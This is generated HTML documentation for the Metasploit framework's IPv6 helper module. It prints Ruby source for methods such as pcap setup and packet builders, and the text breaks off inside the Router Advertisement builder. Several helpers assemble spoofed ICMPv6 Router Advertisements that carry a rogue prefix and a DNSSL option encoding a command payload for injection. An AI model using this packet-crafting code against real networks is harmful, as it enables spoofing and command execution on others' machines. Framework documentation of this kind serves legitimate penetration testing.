jenkins-metasploit
2155 lines
115 KiB
HTML
2155 lines
115 KiB
HTML
<!DOCTYPE html>
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<html>
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<head>
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<meta charset="utf-8">
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<meta name="viewport" content="width=device-width, initial-scale=1.0">
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<title>
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Module: Msf::Exploit::Remote::Ipv6
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— Documentation by YARD 0.9.37
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</title>
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<link rel="stylesheet" href="../../../css/style.css" type="text/css" />
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<link rel="stylesheet" href="../../../css/common.css" type="text/css" />
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<script type="text/javascript">
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pathId = "Msf::Exploit::Remote::Ipv6";
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relpath = '../../../';
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</script>
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<script type="text/javascript" charset="utf-8" src="../../../js/jquery.js"></script>
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<script type="text/javascript" charset="utf-8" src="../../../js/app.js"></script>
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</head>
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<body>
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<div class="nav_wrap">
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<iframe id="nav" src="../../../class_list.html?1"></iframe>
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<div id="resizer"></div>
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</div>
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<div id="main" tabindex="-1">
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<div id="header">
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<div id="menu">
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<a href="../../../_index.html">Index (I)</a> »
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<span class='title'><span class='object_link'><a href="../../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> » <span class='title'><span class='object_link'><a href="../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span>
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»
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<span class="title">Ipv6</span>
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</div>
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<div id="search">
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<a class="full_list_link" id="class_list_link"
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href="../../../class_list.html">
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<svg width="24" height="24">
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<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
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<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
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</svg>
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</a>
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</div>
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<div class="clear"></div>
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</div>
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<div id="content"><h1>Module: Msf::Exploit::Remote::Ipv6
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</h1>
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<div class="box_info">
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<dl>
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<dt>Defined in:</dt>
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<dd>lib/msf/core/exploit/remote/ipv6.rb</dd>
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</dl>
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</div>
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<h2>Overview</h2><div class="docstring">
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<div class="discussion">
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<p>This module provides common tools for IPv6</p>
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</div>
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</div>
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<div class="tags">
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</div>
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<h2>
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Instance Method Summary
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<small><a href="#" class="summary_toggle">collapse</a></small>
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</h2>
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<ul class="summary">
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<li class="public ">
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<span class="summary_signature">
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<a href="#check_pcaprub_loaded-instance_method" title="#check_pcaprub_loaded (instance method)">#<strong>check_pcaprub_loaded</strong> ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'></div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#close_icmp_pcap-instance_method" title="#close_icmp_pcap (instance method)">#<strong>close_icmp_pcap</strong> ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Close the capture interface.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#initialize-instance_method" title="#initialize (instance method)">#<strong>initialize</strong>(info = {}) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Initializes an instance of an exploit module that captures traffic.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_build_dnssl_option-instance_method" title="#ipv6_build_dnssl_option (instance method)">#<strong>ipv6_build_dnssl_option</strong>(cmd, lifetime = 0xFFFFFFFF) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Build DNSSL option (<a href="https://www.rfc-editor.org/rfc/rfc6106#section-5.2">www.rfc-editor.org/rfc/rfc6106#section-5.2</a>).</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_build_prefix_info_option-instance_method" title="#ipv6_build_prefix_info_option (instance method)">#<strong>ipv6_build_prefix_info_option</strong> ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Build Prefix Information option (RFC 4861).</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_build_ra_packet-instance_method" title="#ipv6_build_ra_packet (instance method)">#<strong>ipv6_build_ra_packet</strong>(smac, payload_cmd, shost = 'fe80::1') ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Build the complete Router Advertisement packet.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_build_ra_payload-instance_method" title="#ipv6_build_ra_payload (instance method)">#<strong>ipv6_build_ra_payload</strong> ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Build ICMPv6 Router Advertisement payload.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_build_slla_option-instance_method" title="#ipv6_build_slla_option (instance method)">#<strong>ipv6_build_slla_option</strong>(mac) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Build Source Link-Layer Address option (<a href="https://www.rfc-editor.org/rfc/rfc4861">www.rfc-editor.org/rfc/rfc4861</a>).</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_checksum!-instance_method" title="#ipv6_checksum! (instance method)">#<strong>ipv6_checksum!</strong>(pkt) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Usual ghetto strategy from PacketFu.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_encode_dnssl_payload-instance_method" title="#ipv6_encode_dnssl_payload (instance method)">#<strong>ipv6_encode_dnssl_payload</strong>(cmd) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Encode a command payload as DNS label format for DNSSL injection.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_encode_domain-instance_method" title="#ipv6_encode_domain (instance method)">#<strong>ipv6_encode_domain</strong>(name) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Encode a domain name in DNS label format (length-prefixed labels, null-terminated).</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_icmpv6_echo_request-instance_method" title="#ipv6_icmpv6_echo_request (instance method)">#<strong>ipv6_icmpv6_echo_request</strong>(id, seq, data) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Helper methods that haven’t made it upstream yet.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_interface-instance_method" title="#ipv6_interface (instance method)">#<strong>ipv6_interface</strong>(opts = {}) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Shortcut method for resolving our local interface name.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_link_address-instance_method" title="#ipv6_link_address (instance method)">#<strong>ipv6_link_address</strong>(opts = {}) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Shortcut method for determining our link-local address.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_linklocaladdr-instance_method" title="#ipv6_linklocaladdr (instance method)">#<strong>ipv6_linklocaladdr</strong>(mac) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>From Jon Hart’s Racket::L3::Misc#linklocaladdr(), which is from Daniele Bellucci.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_mac-instance_method" title="#ipv6_mac (instance method)">#<strong>ipv6_mac</strong>(opts = {}) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Shortcut method for determining our MAC address.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_neighbor_solicitation-instance_method" title="#ipv6_neighbor_solicitation (instance method)">#<strong>ipv6_neighbor_solicitation</strong>(neigh, smac) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Takes a neighbor and smac as arguments, The Neighbor value must be an int, while the smac must be a string.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_parse_options-instance_method" title="#ipv6_parse_options (instance method)">#<strong>ipv6_parse_options</strong>(data) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Simple tlv parser.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ipv6_soll_mcast_addr6-instance_method" title="#ipv6_soll_mcast_addr6 (instance method)">#<strong>ipv6_soll_mcast_addr6</strong>(addr) ⇒ Object </a>
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||
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</span>
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<span class="summary_desc"><div class='inline'>
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||
<p>From Jon Hart’s Racket::L3::Misc#soll_mcast_addr6(), which is from DDniele Belluci.</p>
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||
</div></span>
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||
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||
</li>
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||
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||
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||
<li class="public ">
|
||
<span class="summary_signature">
|
||
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||
<a href="#ipv6_soll_mcast_mac-instance_method" title="#ipv6_soll_mcast_mac (instance method)">#<strong>ipv6_soll_mcast_mac</strong>(addr) ⇒ Object </a>
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||
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||
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||
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||
</span>
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||
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||
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||
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||
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||
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||
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||
<span class="summary_desc"><div class='inline'>
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||
<p>From Jon Hart’s Racket::L3::Misc#soll_mcast_mac().</p>
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||
</div></span>
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||
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||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#open_icmp_pcap-instance_method" title="#open_icmp_pcap (instance method)">#<strong>open_icmp_pcap</strong>(opts = {}) ⇒ Object </a>
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||
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||
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||
|
||
</span>
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||
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||
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||
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||
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|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Opens a pcaprub capture interface to inject packets, and sniff ICMPv6 packets.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#ping6-instance_method" title="#ping6 (instance method)">#<strong>ping6</strong>(dhost, opts = {}) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
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||
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|
||
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||
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||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Send a ICMPv6 Echo Request, and wait for the associated ICMPv6 Echo Response.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
<li class="public ">
|
||
<span class="summary_signature">
|
||
|
||
<a href="#solicit_ipv6_mac-instance_method" title="#solicit_ipv6_mac (instance method)">#<strong>solicit_ipv6_mac</strong>(dhost, opts = {}) ⇒ Object </a>
|
||
|
||
|
||
|
||
</span>
|
||
|
||
|
||
|
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||
|
||
|
||
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||
|
||
|
||
<span class="summary_desc"><div class='inline'>
|
||
<p>Send out a ICMPv6 neighbor solicitation, and return the associated MAC address.</p>
|
||
</div></span>
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
|
||
|
||
|
||
<div id="instance_method_details" class="method_details_list">
|
||
<h2>Instance Method Details</h2>
|
||
|
||
|
||
<div class="method_details first">
|
||
<h3 class="signature first" id="check_pcaprub_loaded-instance_method">
|
||
|
||
#<strong>check_pcaprub_loaded</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
424</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 416</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_check_pcaprub_loaded'>check_pcaprub_loaded</span>
|
||
<span class='kw'>unless</span> <span class='ivar'>@pcaprub_loaded</span>
|
||
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>The Pcaprub module is not available: </span><span class='embexpr_beg'>#{</span><span class='ivar'>@pcaprub_error</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_raise'>raise</span> <span class='const'>RuntimeError</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Pcaprub not available</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>else</span>
|
||
<span class='kw'>true</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="close_icmp_pcap-instance_method">
|
||
|
||
#<strong>close_icmp_pcap</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Close the capture interface</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
79</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 74</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_close_icmp_pcap'>close_icmp_pcap</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_pcaprub_loaded'>check_pcaprub_loaded</span>
|
||
|
||
<span class='kw'>return</span> <span class='kw'>if</span> <span class='kw'>not</span> <span class='ivar'>@ipv6_icmp6_capture</span>
|
||
<span class='ivar'>@ipv6_icmp6_capture</span> <span class='op'>=</span> <span class='kw'>nil</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="initialize-instance_method">
|
||
|
||
#<strong>initialize</strong>(info = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Initializes an instance of an exploit module that captures traffic</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
33</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 15</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_initialize'>initialize</span><span class='lparen'>(</span><span class='id identifier rubyid_info'>info</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='kw'>super</span>
|
||
<span class='id identifier rubyid_register_options'>register_options</span><span class='lparen'>(</span>
|
||
<span class='lbracket'>[</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>INTERFACE</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>The name of the interface</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>SMAC</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>The source MAC address</span><span class='tstring_end'>"</span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptAddress.html" title="Msf::OptAddress (class)">OptAddress</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptBase.html#initialize-instance_method" title="Msf::OptBase#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>SHOST</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>The source IPv6 address</span><span class='tstring_end'>"</span></span> <span class='rbracket'>]</span> <span class='rparen'>)</span><span class='comma'>,</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptInt.html" title="Msf::OptInt (class)">OptInt</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptBase.html#initialize-instance_method" title="Msf::OptBase#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>TIMEOUT</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Timeout when waiting for host response.</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='int'>5</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||
<span class='rbracket'>]</span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="" title="Msf::Exploit::Remote::Ipv6 (module)">Ipv6</a></span></span>
|
||
<span class='rparen'>)</span>
|
||
|
||
<span class='kw'>begin</span>
|
||
<span class='id identifier rubyid_require'>require</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>pcaprub</span><span class='tstring_end'>'</span></span>
|
||
<span class='ivar'>@pcaprub_loaded</span> <span class='op'>=</span> <span class='kw'>true</span>
|
||
<span class='kw'>rescue</span> <span class='op'>::</span><span class='const'>Exception</span> <span class='op'>=></span> <span class='id identifier rubyid_e'>e</span>
|
||
<span class='ivar'>@pcaprub_loaded</span> <span class='op'>=</span> <span class='kw'>false</span>
|
||
<span class='ivar'>@pcaprub_error</span> <span class='op'>=</span> <span class='id identifier rubyid_e'>e</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_build_dnssl_option-instance_method">
|
||
|
||
#<strong>ipv6_build_dnssl_option</strong>(cmd, lifetime = 0xFFFFFFFF) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Build DNSSL option (<a href="https://www.rfc-editor.org/rfc/rfc6106#section-5.2">www.rfc-editor.org/rfc/rfc6106#section-5.2</a>)</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
341
|
||
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|
||
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|
||
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|
||
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|
||
346
|
||
347
|
||
348
|
||
349
|
||
350
|
||
351
|
||
352
|
||
353</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 341</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_build_dnssl_option'>ipv6_build_dnssl_option</span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='comma'>,</span> <span class='id identifier rubyid_lifetime'>lifetime</span> <span class='op'>=</span> <span class='int'>0xFFFFFFFF</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_data'>data</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_encode_domain'>ipv6_encode_domain</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>6</span><span class='op'>..</span><span class='int'>10</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>.local</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'>+</span> <span class='id identifier rubyid_ipv6_encode_dnssl_payload'>ipv6_encode_dnssl_payload</span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='rparen'>)</span>
|
||
|
||
<span class='comment'># Pad to 8-byte boundary (option header is 8 bytes)
|
||
</span> <span class='id identifier rubyid_pad_len'>pad_len</span> <span class='op'>=</span> <span class='op'>-</span><span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>%</span> <span class='int'>8</span>
|
||
<span class='id identifier rubyid_data'>data</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x00</span><span class='tstring_end'>"</span></span> <span class='op'>*</span> <span class='id identifier rubyid_pad_len'>pad_len</span>
|
||
|
||
<span class='comment'># Option header: Type(1) + Length(1) + Reserved(2) + Lifetime(4)
|
||
</span> <span class='comment'># Length is in units of 8 octets, including header
|
||
</span> <span class='id identifier rubyid_length_units'>length_units</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='int'>8</span> <span class='op'>+</span> <span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span><span class='rparen'>)</span> <span class='op'>/</span> <span class='int'>8</span>
|
||
|
||
<span class='lbracket'>[</span><span class='int'>31</span><span class='comma'>,</span> <span class='id identifier rubyid_length_units'>length_units</span><span class='comma'>,</span> <span class='int'>0</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CCn</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'>+</span> <span class='lbracket'>[</span><span class='id identifier rubyid_lifetime'>lifetime</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>N</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'>+</span> <span class='id identifier rubyid_data'>data</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_build_prefix_info_option-instance_method">
|
||
|
||
#<strong>ipv6_build_prefix_info_option</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Build Prefix Information option (RFC 4861)</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
362
|
||
363
|
||
364
|
||
365
|
||
366
|
||
367
|
||
368
|
||
369
|
||
370
|
||
371
|
||
372
|
||
373
|
||
374
|
||
375</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 362</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_build_prefix_info_option'>ipv6_build_prefix_info_option</span>
|
||
<span class='id identifier rubyid_type'>type</span> <span class='op'>=</span> <span class='int'>3</span>
|
||
<span class='id identifier rubyid_length'>length</span> <span class='op'>=</span> <span class='int'>4</span> <span class='comment'># 32 bytes / 8
|
||
</span> <span class='id identifier rubyid_prefix_len'>prefix_len</span> <span class='op'>=</span> <span class='int'>64</span>
|
||
<span class='id identifier rubyid_flags'>flags</span> <span class='op'>=</span> <span class='int'>0xC0</span> <span class='comment'># L=1, A=1 (on-link, autonomous address config)
|
||
</span> <span class='id identifier rubyid_valid_lifetime'>valid_lifetime</span> <span class='op'>=</span> <span class='int'>30</span><span class='period'>.</span><span class='id identifier rubyid_days'>days</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span>
|
||
<span class='id identifier rubyid_preferred_lifetime'>preferred_lifetime</span> <span class='op'>=</span> <span class='int'>7</span><span class='period'>.</span><span class='id identifier rubyid_days'>days</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span>
|
||
<span class='id identifier rubyid_reserved'>reserved</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_prefix'>prefix</span> <span class='op'>=</span> <span class='const'>IPAddr</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>2001:db8::</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_hton'>hton</span>
|
||
|
||
<span class='lbracket'>[</span><span class='id identifier rubyid_type'>type</span><span class='comma'>,</span> <span class='id identifier rubyid_length'>length</span><span class='comma'>,</span> <span class='id identifier rubyid_prefix_len'>prefix_len</span><span class='comma'>,</span> <span class='id identifier rubyid_flags'>flags</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CCCC</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'>+</span>
|
||
<span class='lbracket'>[</span><span class='id identifier rubyid_valid_lifetime'>valid_lifetime</span><span class='comma'>,</span> <span class='id identifier rubyid_preferred_lifetime'>preferred_lifetime</span><span class='comma'>,</span> <span class='id identifier rubyid_reserved'>reserved</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>NNN</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'>+</span>
|
||
<span class='id identifier rubyid_prefix'>prefix</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_build_ra_packet-instance_method">
|
||
|
||
#<strong>ipv6_build_ra_packet</strong>(smac, payload_cmd, shost = 'fe80::1') ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Build the complete Router Advertisement packet</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
392
|
||
393
|
||
394
|
||
395
|
||
396
|
||
397
|
||
398
|
||
399
|
||
400
|
||
401
|
||
402
|
||
403
|
||
404
|
||
405
|
||
406
|
||
407
|
||
408
|
||
409
|
||
410
|
||
411
|
||
412
|
||
413
|
||
414</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 392</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_build_ra_packet'>ipv6_build_ra_packet</span><span class='lparen'>(</span><span class='id identifier rubyid_smac'>smac</span><span class='comma'>,</span> <span class='id identifier rubyid_payload_cmd'>payload_cmd</span><span class='comma'>,</span> <span class='id identifier rubyid_shost'>shost</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>fe80::1</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='comment'># Build ICMPv6 RA with options
|
||
</span> <span class='id identifier rubyid_ra_payload'>ra_payload</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_build_ra_payload'>ipv6_build_ra_payload</span>
|
||
<span class='id identifier rubyid_ra_payload'>ra_payload</span> <span class='op'><<</span> <span class='id identifier rubyid_ipv6_build_slla_option'>ipv6_build_slla_option</span><span class='lparen'>(</span><span class='id identifier rubyid_smac'>smac</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_ra_payload'>ra_payload</span> <span class='op'><<</span> <span class='id identifier rubyid_ipv6_build_prefix_info_option'>ipv6_build_prefix_info_option</span>
|
||
<span class='id identifier rubyid_ra_payload'>ra_payload</span> <span class='op'><<</span> <span class='id identifier rubyid_ipv6_build_dnssl_option'>ipv6_build_dnssl_option</span><span class='lparen'>(</span><span class='id identifier rubyid_payload_cmd'>payload_cmd</span><span class='rparen'>)</span>
|
||
|
||
<span class='comment'># Build IPv6 packet
|
||
</span> <span class='id identifier rubyid_p'>p</span> <span class='op'>=</span> <span class='const'>PacketFu</span><span class='op'>::</span><span class='const'>IPv6Packet</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_eth_saddr'>eth_saddr</span> <span class='op'>=</span> <span class='id identifier rubyid_smac'>smac</span>
|
||
